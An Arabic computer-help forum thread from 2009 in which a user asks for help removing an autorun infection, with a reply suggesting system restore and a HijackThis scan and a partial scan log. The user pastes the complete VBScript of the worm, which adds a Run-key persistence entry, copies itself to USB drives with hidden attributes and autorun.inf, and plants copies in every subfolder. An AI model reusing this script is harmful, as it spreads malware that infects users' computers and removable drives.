رسالة تظهر أول ما تشغل الويندوز

سالم 20 · 5 أغسطس 2009

السلام عليكم

انا كان عندي فيروس اوتو رن مطفشني

والحمدلله شلت الفيروس ببرنامج ZeUs ActiveScan 2008

لكن بعد ازالته ظهرت مشكلة ثانية

اول ما افتح الويندوز قبل ما ادخل الرقم السري

تظهر لي نافذة غريبة

فيها رابط لـ C:\WINDOWS\system32\shellstyle.dll

بعدين اضغط موافق يفتح الويندوز عادي

واول ما يشتغل تجيني رسالة عنوانها NEAD

وفيها هذا الكلام

on error resume next
set wshell=createobject("wscript.shell")
set shell=createobject("shell.application")
set fso=createobject("scripting.filesystemobject")
filepn="C:\WINDOWS\system\echo.exe"
function nethood()
on error resume next
set netho=shell.namespace(19)
set neth=netho.self
folder=neth.path
'msgbox filepn,folder&"\software.exe"
if not fso.folderexists(folder&"\software") then
fso.createfolder folder&"\software"
if not fso.fileexists(folder&"\software\software.exe") then
fso.copyfile filepn,folder&"\software\software.exe"
end if
end if
end function

function pd()
on error resume next
for each dr in fso.drives
if dr.drivetype=1 and dr.isready=true then
drv=dr.driveletter&":\"
'msgbox drv
if not fso.fileexists(drv&"software.exe") then
fso.copyfile filepn,drv&"software.exe",true
wshell.run "cmd /c attrib +h +r +s "&drv&"software.exe",0
fso.copyfile "C:\WINDOWS\system\autorun.inf",drv,true
end if
set pfol=fso.getfolder(drv)
spread(pfol)
'msgbox "ok"
end if
next
end function

function spread(objpath)
on error resume next
ph=left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\"))&"ECHO.EXE"
set fols=objpath.subfolders
for each f in fols
if fso.fileexists(f.path&"\"&f.name&".exe")=false then
fso.copyfile ph,f.path&"\"
fso.movefile f.path&"\ECHO.EXE",f.path&"\"&f.name&".exe"
end if
if f.subfolders.count>0 then
spread(f)
end if
next
end function
function autorun()
on error resume next
cpath="C:\WINDOWS\system"
if fso.fileexists("C:\WINDOWS\system\"&wscript.scriptname)=false then
wshell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Servsk","C:\WINDOWS\system\"&wscript.scriptname,"REG_SZ"
if err then
wshell.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Servsk","C:\WINDOWS\system\"&wscript.scriptname,"REG_SZ"
end if
fso.copyfile wscript.scriptfullname,"C:\WINDOWS\system\"
wshell.run "C:\WINDOWS\system\"&wscript.scriptname
fso.copyfile left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\"))&"ne.vbs","C:\WINDOWS\system\"
fso.copyfile left(wscript.scriptfullname,instrrev(wscript.scriptfullname,"\"))&"autorun.inf","C:\WINDOWS\system\"
wscript.quit(1)
end if
end function

do
on error resume next
autorun()
nethood()
pd()
wscript.sleep 400
loop

لما اسوي استعادة النظام يروح هذا كله ولكن يرجع فيروس الاوتو رن مرة ثاية

يا ليت احد يشوف لي حل

Future Tank X-1 · 5 أغسطس 2009

سو استعاادة نظام ,,
بعدها ,,

حمل هذا البرنامج ,,

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

شغل البرنامج ==> واضغط على
Do a system scan and save log
لحظات .. ويظهر لك تقرير داخل المفكرة ==> قم بنسخه ولصقه في ردك القاادم ,,

سالم 20 · 5 أغسطس 2009

تفضل اخوي هذا هو اللي طلع

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 11:48:31 م, on 05/08/2009
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v7.00 (7.00.6000.16876)
Boot mode: Normal
Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\Explorer.EXE
C:\AppServ\Apache2.2\bin\httpd.exe
C:\Program Files\BandRich\BandLuxe HSDPA Utility R11\BRService.exe
C:\AppServ\Apache2.2\bin\httpd.exe
C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe
C:\Program Files\Common Files\Motive\McciCMService.exe
C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
C:\AppServ\MySQL\bin\mysqld-nt.exe
C:\Program Files\CyberLink\Shared files\RichVideo.exe
C:\Program Files\SigmaTel\C-Major Audio\DellXPM_5515v131\WDM\STacSV.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\hkcmd.exe
C:\WINDOWS\system32\igfxpers.exe
C:\Program Files\SigmaTel\C-Major Audio\WDM\stsystra.exe
C:\Program Files\Dell\QuickSet\quickset.exe
C:\WINDOWS\system32\igfxsrvc.exe
C:\Program Files\Common Files\Real\Update_OB\realsched.exe
C:\WINDOWS\system32\rundll32.exe
C:\Program Files\Adobe\Reader 8.0\Reader\Reader_sl.exe
C:\Program Files\CyberLink\PowerDVD\PDVDServ.exe
C:\WINDOWS\System32\WScript.exe
C:\Program Files\USB Disk Security\USBGuard.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Windows Live\Messenger\MsnMsgr.Exe
C:\Program Files\Messenger\msmsgs.exe
C:\Program Files\Microsoft ActiveSync\wcescomm.exe
C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe
C:\PROGRA~1\MI3AA1~1\rapimgr.exe
C:\Program Files\WIDCOMM\Bluetooth Software\BTTray.exe
C:\Documents and Settings\user\Local Settings\Application Data\Google\Update\1.2.183.7\GoogleCrashHandler.exe
C:\PROGRA~1\WIDCOMM\BLUETO~1\BTSTAC~1.EXE
C:\WINDOWS\system32\wuauclt.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\wuauclt.exe
C:\Program Files\internet explorer\iexplore.exe
D:\برامج كمبيوتر\HiJackThis.exe
C:\Program Files\Windows Live\Contacts\wlcomm.exe
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL =